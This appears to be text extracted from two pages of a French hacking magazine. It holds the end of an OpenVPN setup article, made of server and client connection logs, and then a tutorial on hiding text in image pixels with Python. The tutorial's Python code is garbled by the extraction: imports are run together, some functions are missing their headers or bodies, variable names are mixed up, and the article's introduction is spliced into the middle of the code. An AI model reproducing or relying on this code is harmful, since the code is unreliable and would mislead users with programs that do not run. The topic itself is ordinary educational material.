'MD5' for HMAC authentication Wed Dec 3 00:17:51 2008 10.0.1.3:1194 Control Channel: TLSv1, cipher TLSv1/SSLv3 DHE-RSA-AES256-SHA, 1024 bit RSA Wed Dec 3 00:17:51 2008 10.0.1.3:1194 [client] Peer Connection Initiated with 10.0.1.3:1194 Wed Dec 3 00:17:51 2008 client/10.0.1.3:1194 MULTI: Learn: 10.8.0.6 -> client/10.0.1.3:1194 Wed Dec 3 00:17:51 2008 client/10.0.1.3:1194 MULTI: primary virtual IP for client/10.0.1.3:1194: 10.8.0.6 Wed Dec 3 00:17:52 2008 client/10.0.1.3:1194 PUSH: Received control message: 'PUSH_REQUEST' Wed Dec 3 00:17:52 2008 client/10.0.1.3:1194 SENT CONTROL [client]: 'PUSH_REPLY,route 10.8.0.1,ifconfig 10.8.0.6 10.8.0.5' (status=1) EXEMPLE CLIENT zeus# openvpn client.conf Wed Dec 3 00:28:34 2008 OpenVPN 2.0.6 i386-portbld-freebsd6.2 [SSL] [LZO] built on Dec 1 2008 Wed Dec 3 00:28:34 2008 Control Channel MTU parms [ L:1553 D:138 EF:38 EB:0 ET:0 EL:0 ] Wed Dec 3 00:28:34 2008 Data Channel MTU parms [ L:1553 D:1450 EF:53 EB:4 ET:0 EL:0 ] Wed Dec 3 00:28:34 2008 Local Options hash (VER=V4): '2c54dbbd' Wed Dec 3 00:28:34 2008 Expected Remote Options hash (VER=V4): '237597c6' Wed Dec 3 00:28:34 2008 NOTE: chroot will be delayed because of --client, --pull, or --up-delay Wed Dec 3 00:28:34 2008 NOTE: UID/GID downgrade will be delayed because of --client, --pull, or --up-delay Wed Dec 3 00:28:34 2008 UDPv4 link local (bound): [undef]:1194 Wed Dec 3 00:28:34 2008 UDPv4 link remote: 10.0.1.11:1194 Wed Dec 3 00:28:34 2008 TLS: Initial packet from 10.0.1.11:1194, sid=2bc24470 1ca3a282 Wed Dec 3 00:28:34 2008 VERIFY OK: depth=1, /C=FR/ST=Pas-de-Calais/L=Maubeuge/O=Tililoublou/CN=Tililoublou_CA/emailAddress=admin@tililoublou.net Wed Dec 3 00:28:34 2008 VERIFY OK: depth=0, /C=FR/ST=Pas-de-Calais/L=Maubeuge/O=Tililoublou/CN=serveur/emailAddress=admin@tililoublou.net Wed Dec 3 00:28:34 2008 Data Channel Encrypt: Cipher 'AES-256-CBC' initialized with 256 bit key Wed Dec 3 00:28:34 2008 Data Channel Encrypt: Using 128 bit message hash 'MD5' for HMAC authentication Wed Dec 3 00:28:34 2008 Data Channel Decrypt: Cipher 'AES-256-CBC' initialized with 256 bit key Wed Dec 3 00:28:34 2008 Data Channel Decrypt: Using 128 bit message hash 'MD5' for HMAC authentication Wed Dec 3 00:28:34 2008 Control Channel: TLSv1, cipher TLSv1/SSLv3 DHE-RSA-AES256-SHA, 1024 bit RSA Wed Dec 3 00:28:34 2008 [serveur] Peer Connection Initiated with 10.0.1.11:1194 Wed Dec 3 00:28:35 2008 SENT CONTROL [serveur]: 'PUSH_REQUEST' (status=1) Wed Dec 3 00:28:35 2008 PUSH: Received control message: 'PUSH_REPLY,route 10.8.0.1,ifconfig 10.8.0.6 10.8.0.5' Wed Dec 3 00:28:35 2008 OPTIONS IMPORT: --ifconfig/up options modified Wed Dec 3 00:28:35 2008 OPTIONS IMPORT: route options modified Wed Dec 3 00:28:35 2008 gw 10.0.1.1 Wed Dec 3 00:28:35 2008 TUN/TAP device /dev/tun0 opened Wed Dec 3 00:28:35 2008 /sbin/ifconfig tun0 10.8.0.6 10.8.0.5 mtu 1500 netmask 255.255.255.255 up Wed Dec 3 00:28:35 2008 /sbin/route add -net 10.8.0.1 10.8.0.5 255.255.255.255 add net 10.8.0.1: gateway 10.8.0.5 Wed Dec 3 00:28:35 2008 chroot to '/etc/openvpn/' and cd to '/' succeeded Wed Dec 3 00:28:35 2008 UID set to nobody Wed Dec 3 00:28:35 2008 Initialization Sequence Completed HacKethiC N 1 15

Stéganographie en python Georges Sand utilisait cette technique pour converser avec Chopin : un texte en cachait un autre. Depuis, les méthodes de stéganographie ont bien évolué. Il est possible d'utiliser des images, des fichiers textes, voire des vidéos pour «camoufler» du texte. De nombreux programmes proposent des solutions de stéganographie reprennant ces façons d'opérer. Cependant il n'en existe que quelques uns de libre. La librairie Numpy de Python permet de faire de la manipulation d'images très facilement, notamment en mettant à disposition des fonctions, toutes prêtes, pour récupérer les valeurs RVB (Rouge, Vert, Bleu) de chaque pixel. La méthode utilisée ici est assez simple. Une image est composée de plusieurs centaines de pixels. Chacun d'entre eux possède trois valeurs allant de 0 à 255 pour les couleurs rouge, verte, et bleue. La couleur d'un pixel dépend de ces valeurs : plus une valeur sera importante, plus la composante associée sera claire, le mélange des trois composantes forme la couleur du pixel. On peut donc voir une image comme un tableau à trois dimensions de Longueur_image x Largueur_image x 3 (chaque case symbolisant un pixel, est en réalité un tableau de trois cases comportant les valeurs RVB). Le schéma suivant illustre cela. La méthode utilisée ici consiste à traduire chaque caractère d'une phrase en code ASCII, puis à convertir cette valeur en binaire et la stocker dans un tableau de huit cases. L'opération est réitérée jusqu'à ce que tout les caractères de la phrase aient été traduits. L'ensemble des tableaux est concaténé. On parcourt ensuite le tableau résultant et on vérifie la parité de la valeur de composante rouge de chaque pixel. Plusieurs cas de figure peuvent alors se présenter: si le nombre est paire (comme 4,122,234, ) et que la case extraite correspond à 1, alors la valeur de la composante est transformée en nombre impair (en ajoutant 1 à sa valeur initiale), si la case extraite correspond à 0, et que le nombre de la valeur de la composante est pair, alors cette valeur est conservée ; elle demeure inchangée, si la case extraite possède comme valeur 0 et que la composante est impaire, alors la composante est convertie en valeur paire (en ajoutant 1 SAUF si la valeur est 255, auquel cas on retire 1), enfin si la case extraite correspond à 1, et que le nombre de la valeur de la composante est impair alors cette valeur est conservée ; elle demeure inchangée. Retrouver le texte consistera a effectuer l'opération inverse, à savoir évaluer la parité et placer 1 dans un tableau si la valeur est impaire et 0 dans le cas contraire. On découpe ensuite ce tableau en tableaux plus petits de huit cases chacun : un octet que l'on reconvertit en code ASCII puis en caractère. Un système de clef est également utilisé, il s'agit ici de la longueur de la chaîne de caractères. Ce mécanisme peut être d'avantage sécurisé, mais le but est ici de mettre en application une technique de stéganographie et non de sécurisation de clef. Le code des différentes fonctions est donné ici, des commentaires y ont été insérés afin de faciliter la compréhension de celui-ci. #!/usr/bin/python #-*- coding:utf-8 -*- import PIL, import Image, import numpy #ouverture d'une nouvelle image def openpicture(image): Img = Image.open(str(image)) return imgdata newimg = image return newimg[i][c] #change la couleur d'un pixel def changecolor(i, c, image, valeur): newimg = image newimg[i][c] = valeur #convertir une chaine de caracteres en une valeur binaire def stringconverttobin(val): tab=[reduce(str. add,[['0','1'][((2**i)&ord(tst))>0] for i in range(8)[::-1]]) for tst in val] strret='' for i in range(len(tab)): strret=strret+tab[i] #convertion de liste en string return strret #retourne vrai si le parametre est pair, et faux sinon if (nbr%2==0): return True return False #creation d'une nouvelle image, copie de l'image de base C0R3Y La stéganographie est un procédé de sécurisation des données très ancien. Il s'agit d'une alternative à la cryptographie consistant non pas à rendre un texte indéchiffrable mais plutôt à le cacher dans une image ou un autre texte. Nous verrons dans cet article comment cacher des chaînes de caractères dans une image avec Python et la librairie Numpy. def createpicture(image,chaine): tab = stringconverttobin(chaine) img = openpicture(image) Img = list(img) for j in range(len(tab)): b=list(img[j]) Img[j]=b Imgsize = Image.open(image) ind=true for i in range(len(tab)): if (getcolor(i,0,img) == 255): ind=true else: ind=false if (paritytest(getcolor(i,0,img))==false and tab[i]=='0'): if (getcolor(i,0,img) == 255 and ind==true): changecolor(i,0,img,getcolor(i,0,img)-1) ind=true if (getcolor(i,0,img)!= 255 and ind==false): changecolor(i,0,img,getcolor(i,0,img)+1) if (paritytest(getcolor(i,0,img))==true and tab[i]=='1'): changecolor(i,0,img,getcolor(i,0,img)+1) for x in range(len(tab)): b=tuple(img[x]) Img[x]=b Img2 = tuple(img) Copie = Image.new("RGB",Imgsize.size) Copie.putdata(list(Img2)) #Copie.show() print "clef = ",len(str(chaine))*8 Copie.save(fp="/home/c0r3y/test.png") #transforme un tableau binaire (extrait de l'image) en chaine de caracteres def gettextinpicture(image,clef): Img = openpicture(image) Img = list(img) str3="" str2="" for i in range(clef): col = getcolor(i,0,img) if (paritytest(col)==true): str2=str2+"0" else : str2=str2+"1" str = str3.join([chr(int(str2[i:i+8],2)) for i in range(0,len(str2),8)]) return str On teste la suite de fonction qui vient d'être définie : chaine=raw_input() createpicture("/home/c0r3y/images/images.jpeg","chaine") print gettextinpicture("/home/c0r3y/test.png",clef) Clef est a remplacer par la longueur de la chaîne de caractères passée en paramètre de la fonction createpicture (elle est affichée a l'écran durant l'exécution de la fonction). Gettextinpicture affichera le texte retrouvé dans l'image. Nous avons vu que dissimuler des informations au sein d'une image peut se faire assez simplement. D'autres méthodes, plus ou moins efficaces, existent et celle donnée ici n'est qu'une illustration. Le mécanisme de clef peut être d'avantage sécurisé, par exemple en appliquant un système de cryptage dessus. Il existe également d'autres librairies python permettant de manipuler les images, mais aussi du son (mp3) voir des vidéos (flv) et la stéganographie peut s'appliquer à ces supports, autant ne pas s'en priver! HacKethiC N 1 16